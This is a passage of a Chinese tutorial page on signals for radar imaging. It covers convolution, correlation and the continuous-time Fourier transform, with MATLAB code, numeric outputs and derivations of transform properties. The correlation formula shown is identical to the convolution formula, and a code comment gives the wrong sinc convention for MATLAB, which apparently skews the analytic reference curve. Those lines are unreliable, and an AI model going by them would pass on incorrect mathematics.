</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>s</span><span>(</span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span>u</span><span>)</span><span></span><span>h</span><span>(</span><span>u</span><span>)</span><span></span><span>d</span><span>u</span></span></span></span>。</p><p><strong>MATLAB手写“时域”线性卷积（不依赖 conv）</strong></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function y = lconv_time(x, h)</span></div></div><div><div><div>2</div></div><div><span>%   LCONV_TIME  时域线性卷积（不调用内置 conv）</span></div></div><div><div><div>3</div></div><div><span>%   y = lconv_time(x, h)</span></div></div><div><div><div>4</div></div><div><span>%   输出 y 的长度为 length(x)+length(h)-1</span></div></div><div><div><div>5</div></div><div><span>%</span></div></div><div><div><div>6</div></div><div><span>%   说明：默认输出列向量；若两输入均为行向量则输出行向量</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>x_is_row = isrow(x);</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>h_is_row = isrow(h);</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>x = x(:);    % 列向量</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>h = h(:);    % 列向量</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>Nx = length(x);</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>Nh = length(h);</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>Ny = Nx + Nh - 1;</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>y  = zeros(Ny, 1);</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>% 双循环：y[n] = sum_{k} x[k] * h[n-k+1]</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>for n = 1:Ny</span></div></div><div><div><div>20</div></div><div><span><span>        </span></span><span>kmin = max(1, n - Nh + 1);</span></div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>kmax = min(n, Nx);</span></div></div><div><div><div>22</div></div><div><span><span>        </span></span><span>% 等价于： for k = 1:Nx, 若 1&lt;=n-k+1&lt;=Nh 再累加</span></div></div><div><div><div>23</div></div><div><span><span>        </span></span><span>for k = kmin:kmax</span></div></div><div><div><div>24</div></div><div><span><span>            </span></span><span>y(n) = y(n) + x(k) * h(n - k + 1);</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>end</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>% 若两输入均为行向量，则转为行向量输出</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>if x_is_row &amp;&amp; h_is_row</span></div></div><div><div><div>30</div></div><div><span><span>        </span></span><span>y = y.';</span></div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>32</div></div><div><span>end</span></div></div><div><div><div>33</div></div><div>
</div></div><div><div><div>34</div></div><div><span>% ------------ 示例 -------------</span></div></div><div><div><div>35</div></div><div><span>% x = [1 2 3]; h = [1 1 1];</span></div></div><div><div><div>36</div></div><div><span>% y = lconv_time(x, h)   % -&gt; [1 3 6 5 3]</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>相关</strong></p><p>相关的定义为 <span><span>(s∗h)(t)=∫−∞∞s(u) h(t−u) du(s*h)(t)=\int_{-\infty}^{\infty}s(u)\,h(t-u)\,du</span><span><span><span></span><span>(</span><span>s</span><span></span><span>∗</span><span></span></span><span><span></span><span>h</span><span>)</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>s</span><span>(</span><span>u</span><span>)</span><span></span><span>h</span><span>(</span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span>u</span><span>)</span><span></span><span>d</span><span>u</span></span></span></span>。</p><p>与卷积不同：滤波器的时间轴无需进行反转；若滤波器是复的，则还需取共轭。</p></section></section><section><h3>2.3 傅立叶变换<a href="#23-傅立叶变换"><span>#</span></a></h3><section><h4>2.3.1 连续时间傅立叶变换<a href="#231-连续时间傅立叶变换"><span>#</span></a></h4><p>傅立叶变换的优势：函数g(t)可以表示为一组幅度和相位各不相同的正弦信号的和。</p><p>连续时间傅立叶变换：<span><span>X(f)=∫−∞∞x(t) e−j2πft dt,x(t)=∫−∞∞X(f) ej2πft df.X(f)=\int_{-\infty}^{\infty} x(t)\,e^{-j2\pi f t}\,dt,\qquad x(t)=\int_{-\infty}^{\infty} X(f)\,e^{j2\pi f t}\,df .</span><span><span><span></span><span>X</span><span>(</span><span>f</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>x</span><span>(</span><span>t</span><span>)</span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>2</span><span>π</span><span>f</span><span>t</span></span></span></span></span></span></span></span></span><span></span><span>d</span><span>t</span><span>,</span><span></span><span></span><span>x</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>X</span><span>(</span><span>f</span><span>)</span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span>2</span><span>π</span><span>f</span><span>t</span></span></span></span></span></span></span></span></span><span></span><span>df</span><span>.</span></span></span></span></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% ctft_demo.m</span></div></div><div><div><div>2</div></div><div><span>% 数值连续时间傅里叶变换（CTFT，角频率域）演示</span></div></div><div><div><div>3</div></div><div><span>% X(ω) = ∫ x(t) e^{-j ω t} dt,  x(t) = (1/2π) ∫ X(ω) e^{j ω t} dω</span></div></div><div><div><div>4</div></div><div><span>clear; close all; clc;</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>%% 全局数值网格设置（可根据信号时间/频率特性调整）</span></div></div><div><div><div>7</div></div><div><span>Twin = 10;            % 时间窗总时长（秒），[-Twin/2, Twin/2]</span></div></div><div><div><div>8</div></div><div><span>dt   = 1e-3;          % 采样间隔（秒）</span></div></div><div><div><div>9</div></div><div><span>t    = (-Twin/2:dt:Twin/2).';    % 列向量</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>wmax = 200;           % 频域范围（rad/s）</span></div></div><div><div><div>12</div></div><div><span>Nw   = 4001;          % 频域采样点数（奇数便于对称）</span></div></div><div><div><div>13</div></div><div><span>w    = linspace(-wmax, wmax, Nw).';   % 列向量</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>%% 工具函数（见文末）：ctft_numeric, ictft, plot_spec, rectfun</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span>%% 示例 1：矩形脉冲  x(t) = rect(t/T0)  (宽度 T0)</span></div></div><div><div><div>18</div></div><div><span>T0 = 1.0;</span></div></div><div><div><div>19</div></div><div><span>x1 = rectfun(t/T0);                      % rect(t/T0), 中心对齐</span></div></div><div><div><div>20</div></div><div><span>[X1w] = ctft_numeric(x1, t, w);          % 数值 CTFT</span></div></div><div><div><div>21</div></div><div><span>X1w_ana = T0 * sinc((w*T0)/2);           % 解析解（sinc(x)=sin(x)/x, x=ωT0/2）</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>figure('Name','Example 1: Rect pulse');</span></div></div><div><div><div>24</div></div><div><span>plot_spec(w, X1w, 'Rect pulse: numeric CTFT');</span></div></div><div><div><div>25</div></div><div><span>hold on; plot(w, abs(X1w_ana), 'LineWidth', 1.0, 'LineStyle', '--'); legend('|\bfX_{num}|','|\bfX_{ana}|');</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>% 重构检查</span></div></div><div><div><div>28</div></div><div><span>x1_rec = ictft(w, X1w, t);</span></div></div><div><div><div>29</div></div><div><span>err1 = norm(x1 - x1_rec, 2) / norm(x1, 2);</span></div></div><div><div><div>30</div></div><div><span>fprintf('Example 1 recon RMSE ratio: %.3e\n', err1);</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>% Parseval 检查：∫|x(t)|^2 dt  ≈ (1/2π)∫|X(ω)|^2 dω</span></div></div><div><div><div>33</div></div><div><span>E_time = trapz(t, abs(x1).^2);</span></div></div><div><div><div>34</div></div><div><span>E_freq = (1/(2*pi)) * trapz(w, abs(X1w).^2);</span></div></div><div><div><div>35</div></div><div><span>fprintf('Example 1 Parseval: time=%.6f, freq=%.6f, rel.err=%.3e\n', E_time, E_freq, abs(E_time-E_freq)/E_time);</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>%% ---------------------- 本文件尾部的工具函数 ----------------------</span></div></div><div><div><div>38</div></div><div><span>function [Xw] = ctft_numeric(x, t, w)</span></div></div><div><div><div>39</div></div><div><span>% 数值 CTFT:  X(ω) ≈ ∫ x(t) e^{-jωt} dt  （trapz 实现）</span></div></div><div><div><div>40</div></div><div><span>% 输入: x(Nt×1), t(Nt×1), w(Nw×1); 输出: Xw(Nw×1)</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>x  = x(:);  t = t(:);  w = w(:);</span></div></div><div><div><div>42</div></div><div><span><span>    </span></span><span>% 生成 Nt×Nw 的指数矩阵，并沿 t 维做数值积分</span></div></div><div><div><div>43</div></div><div><span><span>    </span></span><span>E  = exp(-1j * (t * w.'));       % Nt x Nw</span></div></div><div><div><div>44</div></div><div><span><span>    </span></span><span>integrand = x .* E;              % 隐式广播：每列乘以 x</span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>Xrow = trapz(t, integrand, 1);   % 1×Nw</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>Xw  = Xrow.';                    % Nw×1</span></div></div><div><div><div>47</div></div><div><span>end</span></div></div><div><div><div>48</div></div><div>
</div></div><div><div><div>49</div></div><div><span>function x = ictft(w, Xw, t)</span></div></div><div><div><div>50</div></div><div><span>% 数值反变换: x(t) ≈ (1/2π) ∫ X(ω) e^{jωt} dω</span></div></div><div><div><div>51</div></div><div><span>% 输入: w(Nw×1), Xw(Nw×1), t(Nt×1); 输出: x(Nt×1)</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>t = t(:); w = w(:); Xw = Xw(:);</span></div></div><div><div><div>53</div></div><div><span><span>    </span></span><span>E  = exp( 1j * (t * w.'));       % Nt x Nw</span></div></div><div><div><div>54</div></div><div><span><span>    </span></span><span>integrand = (ones(numel(t),1) * Xw.') .* E;    % Nt x Nw</span></div></div><div><div><div>55</div></div><div><span><span>    </span></span><span>x = (1/(2*pi)) * trapz(w, integrand, 2);       % Nt×1</span></div></div><div><div><div>56</div></div><div><span>end</span></div></div><div><div><div>57</div></div><div>
</div></div><div><div><div>58</div></div><div><span>function plot_spec(w, Xw, ttl)</span></div></div><div><div><div>59</div></div><div><span>% 绘制幅度与相位（相位用 unwrap）</span></div></div><div><div><div>60</div></div><div><span><span>    </span></span><span>if size(w,2)&gt;1, w = w(:); end</span></div></div><div><div><div>61</div></div><div><span><span>    </span></span><span>if size(Xw,2)&gt;1, Xw = Xw(:); end</span></div></div><div><div><div>62</div></div><div><span><span>    </span></span><span>tiledlayout(2,1);</span></div></div><div><div><div>63</div></div><div><span><span>    </span></span><span>nexttile; plot(w, abs(Xw), 'LineWidth', 1.2); grid on;</span></div></div><div><div><div>64</div></div><div><span><span>    </span></span><span>xlabel('\omega (rad/s)'); ylabel('|X(\omega)|'); title(ttl);</span></div></div><div><div><div>65</div></div><div><span><span>    </span></span><span>nexttile; plot(w, unwrap(angle(Xw)), 'LineWidth', 1.0); grid on;</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>xlabel('\omega (rad/s)'); ylabel('\angle X(\omega) (rad)');</span></div></div><div><div><div>67</div></div><div><span>end</span></div></div><div><div><div>68</div></div><div>
</div></div><div><div><div>69</div></div><div><span>function y = rectfun(x)</span></div></div><div><div><div>70</div></div><div><span>% rect(x)：|x|&lt;=1/2 为 1，其他为 0；边界取 1</span></div></div><div><div><div>71</div></div><div><span><span>    </span></span><span>y = double(abs(x) &lt;= 0.5);</span></div></div><div><div><div>72</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>Example 1 recon RMSE ratio: 5.618e-02</p><p>Example 1 Parseval: time=1.001000, freq=0.997840, rel.err=3.157e-03</p><p><img alt="" loading="lazy" width="1403" height="913" src="/_astro/image-01-e76a929f14e5.DfJYYOeL_Z1MNfIk.webp" /></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 示例 2：单边指数  x(t)=u(t) e^{-a t}, a&gt;0</span></div></div><div><div><div>2</div></div><div><span>a = 2;</span></div></div><div><div><div>3</div></div><div><span>x2 = (t&gt;=0).*exp(-a*t);</span></div></div><div><div><div>4</div></div><div><span>[X2w] = ctft_numeric(x2, t, w);</span></div></div><div><div><div>5</div></div><div><span>X2w_ana = 1./(a + 1j*w);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>figure('Name','Example 2: One-sided exponential');</span></div></div><div><div><div>8</div></div><div><span>plot_spec(w, X2w, 'u(t)e^{-at}: numeric CTFT');</span></div></div><div><div><div>9</div></div><div><span>hold on; plot(w, abs(X2w_ana), 'LineWidth', 1.0, 'LineStyle', '--'); legend('|\bfX_{num}|','|\bfX_{ana}|');</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>x2_rec = ictft(w, X2w, t);</span></div></div><div><div><div>12</div></div><div><span>err2 = norm(x2 - x2_rec, 2) / norm(x2, 2);</span></div></div><div><div><div>13</div></div><div><span>fprintf('Example 2 recon RMSE ratio: %.3e\n', err2);</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>E_time = trapz(t, abs(x2).^2);</span></div></div><div><div><div>16</div></div><div><span>E_freq = (1/(2*pi)) * trapz(w, abs(X2w).^2);</span></div></div><div><div><div>17</div></div><div><span>fprintf('Example 2 Parseval: time=%.6f, freq=%.6f, rel.err=%.3e\n', E_time, E_freq, abs(E_time-E_freq)/E_time);</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>Example 2 recon RMSE ratio: 7.964e-02</p><p>Example 2 Parseval: time=0.250500, freq=0.248911, rel.err=6.345e-03</p><p><img alt="" loading="lazy" width="1408" height="919" src="/_astro/image-02-ee15e69ddb60.sgZr2XHw_20JxtI.webp" /></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 示例 3：Gaussian  x(t)=exp(-a t^2), a&gt;0</span></div></div><div><div><div>2</div></div><div><span>ag = 1.5;</span></div></div><div><div><div>3</div></div><div><span>x3 = exp(-ag*t.^2);</span></div></div><div><div><div>4</div></div><div><span>[X3w] = ctft_numeric(x3, t, w);</span></div></div><div><div><div>5</div></div><div><span>X3w_ana = sqrt(pi/ag) * exp(-(w.^2)/(4*ag));</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>figure('Name','Example 3: Gaussian');</span></div></div><div><div><div>8</div></div><div><span>plot_spec(w, X3w, 'exp(-a t^2): numeric CTFT');</span></div></div><div><div><div>9</div></div><div><span>hold on; plot(w, abs(X3w_ana), 'LineWidth', 1.0, 'LineStyle', '--'); legend('|\bfX_{num}|','|\bfX_{ana}|');</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>x3_rec = ictft(w, X3w, t);</span></div></div><div><div><div>12</div></div><div><span>err3 = norm(x3 - x3_rec, 2) / norm(x3, 2);</span></div></div><div><div><div>13</div></div><div><span>fprintf('Example 3 recon RMSE ratio: %.3e\n', err3);</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span>E_time = trapz(t, abs(x3).^2);</span></div></div><div><div><div>16</div></div><div><span>E_freq = (1/(2*pi)) * trapz(w, abs(X3w).^2);</span></div></div><div><div><div>17</div></div><div><span>fprintf('Example 3 Parseval: time=%.6f, freq=%.6f, rel.err=%.3e\n', E_time, E_freq, abs(E_time-E_freq)/E_time);</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>Example 3 recon RMSE ratio: 3.037e-16</p><p>Example 3 Parseval: time=1.023327, freq=1.023327, rel.err=2.170e-16</p><p><img alt="" loading="lazy" width="1414" height="919" src="/_astro/image-03-e4ab8b3d0dfa.0lIwejI-_Z1aFFrk.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>%% 进阶：近似“余弦→谱线”（有限窗导致谱泄漏）</span></div></div><div><div><div>2</div></div><div><span>f0 = 5;                        % Hz（为了演示，便于观察）</span></div></div><div><div><div>3</div></div><div><span>w0 = 2*pi*f0;                  % rad/s</span></div></div><div><div><div>4</div></div><div><span>x4 = cos(w0*t) .* rectfun(t/4);% 给定4秒窗，近似观测</span></div></div><div><div><div>5</div></div><div><span>[X4w] = ctft_numeric(x4, t, w);</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>figure('Name','Example 4: Windowed cosine');</span></div></div><div><div><div>8</div></div><div><span>plot_spec(w, X4w, 'cos(ω0 t) with 4s window');</span></div></div><div><div><div>9</div></div><div><span>% 理论理想是 π[δ(ω-ω0)+δ(ω+ω0)]；有限窗→近似sinc 主瓣+旁瓣</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1403" height="913" src="/_astro/image-04-686b8892ed43.DmVgfa4C_1wt4fU.webp" /></p></section><section><h4>2.3.2 离散傅立叶变换<a href="#232-离散傅立叶变换"><span>#</span></a></h4></section><section><h4>2.3.3 傅立叶变换的性质<a href="#233-傅立叶变换的性质"><span>#</span></a></h4><blockquote><p>推导部分参考教材：</p><p>[6] ﻿A. Papoulis. The Fourier Integral and Its Applications. McGraw-Hill College Division, New York, 1962.</p><p>[7] E. O. Brigham. The Fast Fourier Transform: An Introduction to Its Theory and Application. Prentice Hall, Upper Saddle River, NJ, 1974.</p><p>[8] R. N. Bracewell. The Fourier Transform and Its Applications. WCB/McGraw-Hill, New York, 3rd edition, 1999.</p></blockquote><p>（1）复共轭</p><span><span><span>F{f∗(t)}(ω)=F∗(−ω),F{f(−t)}(ω)=F(−ω).\mathcal{F}\{f^*(t)\}(\omega)=F^*(-\omega),\qquad \mathcal{F}\{f(-t)\}(\omega)=F(-\omega).</span><span><span><span></span><span>F</span><span>{</span><span><span>f</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>t</span><span>)}</span><span>(</span><span>ω</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>−</span><span>ω</span><span>)</span><span>,</span><span></span><span></span><span>F</span><span>{</span><span>f</span><span>(</span><span>−</span><span>t</span><span>)}</span><span>(</span><span>ω</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>F</span><span>(</span><span>−</span><span>ω</span><span>)</span><span>.</span></span></span></span></span><p><strong>含义：</strong> 实信号的谱具厄米对称 <span><span>F(−ω)=F∗(ω)F(-\omega)=F^*(\omega)</span><span><span><span></span><span>F</span><span>(</span><span>−</span><span>ω</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>ω</span><span>)</span></span></span></span>。常用于验证回波与脉压结果的谱对称性与相位一致性。</p><p><strong>推导：</strong> <span><span>F{f∗(t)}(ω)=∫f∗(t)e−jωtdt=[∫f(t)e+jωtdt]∗=F∗(−ω)\mathcal{F}\{f^*(t)\}(\omega)=\int f^*(t)e^{-j\omega t}dt=\left[\int f(t)e^{+j\omega t}dt\right]^*=F^*(-\omega)</span><span><span><span></span><span>F</span><span>{</span><span><span>f</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>t</span><span>)}</span><span>(</span><span>ω</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>∫</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>ω</span><span>t</span></span></span></span></span></span></span></span></span><span>d</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span>[</span></span><span>∫</span><span></span><span>f</span><span>(</span><span>t</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>+</span><span>j</span><span>ω</span><span>t</span></span></span></span></span></span></span></span></span><span>d</span><span>t</span><span><span>]</span></span></span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>F</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span>(</span><span>−</span><span>ω</span><span>)</span></span></span></span>。</p><p>（2）线性</p><span><span><span>F{af(t)+bg(t)}=aF(ω)+bG(ω).\mathcal{F}\{a f(t)+b g(t)\}=aF(\omega)+bG(\omega).</span><span><span><span></span><span>F</span><span>{</span><span>a</span><span>f</span><span>(</span><span>t</span><span>)</span><span></span><span>+</span><span></span></span><span><span></span><span>b</span><span>g</span><span>(</span><span>t</span><span>)}</span><span></span><span>=</span><span></span></span><span><span></span><span>a</span><span>F</span><span>(</span><span>ω</span><span>)</span><span></span><span>+</span><span></span></span><span><span></span><span>b</span><span>G</span><span>(</span><span>ω</span><span>)</span><span>.</span></span></span></span></span><p>**含义：**配滤波、孔径合成等可分步线性处理叠加。</p><p><strong>推导：</strong> 由积分的线性性直接成立。</p><p>（3）尺度变换特性</p><p><strong>含义：</strong> 频域轴伸缩/重采样（如 Stolt 映射的本质）与时域尺度变化互为倒数关系。</p><p><strong>1D：</strong><span><span>F{f(at)}(ω)=1∣a∣ F ⁣(ωa)\mathcal{F}\{f(a t)\}(\omega)=\frac{1}{|a|}\,F\!\left(\frac{\omega}{a}\right)</span><span><span><span></span><span>F</span><span>{</span><span>f</span><span>(</span><span>a</span><span>t</span><span>)}</span><span>(</span><span>ω</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∣</span><span>a</span><span>∣</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>F</span><span></span><span></span><span><span><span>(</span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>a</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>ω</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span></span></span></span></span></span></p><p>**2D 一般线性变换：**若<span><span>g(x)=f(Ax)g(\boldsymbol{x})=f(\mathbf{A}\boldsymbol{x})</span><span><span><span></span><span>g</span><span>(</span><span><span><span>x</span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span>f</span><span>(</span><span>A</span><span><span><span>x</span></span></span><span>)</span></span></span></span>（<span><span>A\mathbf{A}</span><span><span><span></span><span>A</span></span></span></span> 可为缩放、剪切、旋转…），则<span><span>G(ω)=1∣det⁡A∣ F ⁣(A−Tω)G(\boldsymbol{\omega})=\frac{1}{|\det\mathbf{A}|}\,F\!\left(\mathbf{A}^{-T}\boldsymbol{\omega}\right)</span><span><span><span></span><span>G</span><span>(</span><span><span><span>ω</span></span></span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∣</span><span></span><span><span>d</span><span>e</span><span>t</span></span><span></span><span>A</span><span>∣</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>F</span><span></span><span></span><span><span><span>(</span></span><span><span>A</span><span><span><span><span><span><span></span><span><span><span>−</span><span>T</span></span></span></span></span></span></span></span></span><span><span><span>ω</span></span></span><span><span>)</span></span></span></span></span></span></p><p>**推导：**令<span><span>u=at⇒dt=du/au=at\Rightarrow dt=du/a</span><span><span><span></span><span>u</span><span></span><span>=</span><span></span></span><span><span></span><span>a</span><span>t</span><span></span><span>⇒</span><span></span></span><span><span></span><span>d</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span>d</span><span>u</span><span>/</span><span>a</span></span></span></span>：<span><span>∫f(at)e−jωtdt=1∣a∣∫f(u)e−j(ω/a)u du\int f(at) e^{-j\omega t}dt =\frac{1}{|a|}\int f(u) e^{-j(\omega/a) u}\,du</span><span><span><span></span><span>∫</span><span></span><span>f</span><span>(</span><span>a</span><span>t</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>ω</span><span>t</span></span></span></span></span></span></span></span></span><span>d</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∣</span><span>a</span><span>∣</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>∫</span><span></span><span>f</span><span>(</span><span>u</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>(</span><span>ω</span><span>/</span><span>a</span><span>)</span><span>u</span></span></span></span></span></span></span></span></span><span></span><span>d</span><span>u</span></span></span></span></p><p>（4）位移/调制</p><p><strong>时间位移：</strong><span><span>F{f(t−t0)}=e−jωt0F(ω).\mathcal{F}\{f(t-t_0)\}=e^{-j\omega t_0}F(\omega).</span><span><span><span></span><span>F</span><span>{</span><span>f</span><span>(</span><span>t</span><span></span><span>−</span><span></span></span><span><span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)}</span><span></span><span>=</span><span></span></span><span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>−</span><span>j</span><span>ω</span><span><span>t</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span>F</span><span>(</span><span>ω</span><span>)</span><span>.</span></span></span></span></p><p><strong>调制：</strong><span><span>F{f(t)ejω0t}=F(ω−ω0).\mathcal{F}\{f(t)e^{j\omega_0 t}\}=F(\omega-\omega_0).</span><span><span><span></span><span>F</span><span>{</span><span>f</span><span>(</span><span>t</span><span>)</span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span><span>}</span><span></span><span>=</span><span></span></span><span><span></span><span>F</span><span>(</span><span>ω</span><span></span><span>−</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>.</span></span></span></span></p><p><strong>含义：</strong> 距离/方位向平移<span><span>⇒\Rightarrow</span><span><span><span></span><span>⇒</span></span></span></span>频域线性相位；速度引起多普勒中心漂移<span><span>⇒\Rightarrow</span><span><span><span></span><span>⇒</span></span></span></span>频谱搬移。</p><p>（5）均值</p><p>（6）对称性</p><p>（7）Parseval定理</p><p><strong>1D：</strong><span><span>∫−∞∞∣f(t)∣2dt=12π∫−∞∞∣F(ω)∣2dω.\int_{-\infty}^{\infty} |f(t)|^2 dt=\frac{1}{2\pi}\int_{-\infty}^{\infty} |F(\omega)|^2 d\omega .</span><span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>∣</span><span>f</span><span>(</span><span>t</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>d</span><span>t</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span><span>π</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span><span>−</span><span>∞</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>∣</span><span>F</span><span>(</span><span>ω</span><span>)</span><span><span>∣</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>d</span><span>ω</span><span>.</span></span></span></span></p><p><strong>含义：</strong> 能量/信噪比在时频域保持一致；用于定标与滤波器能量约束。</p><p>（8）卷积/乘法</p><p><strong>含义：</strong> 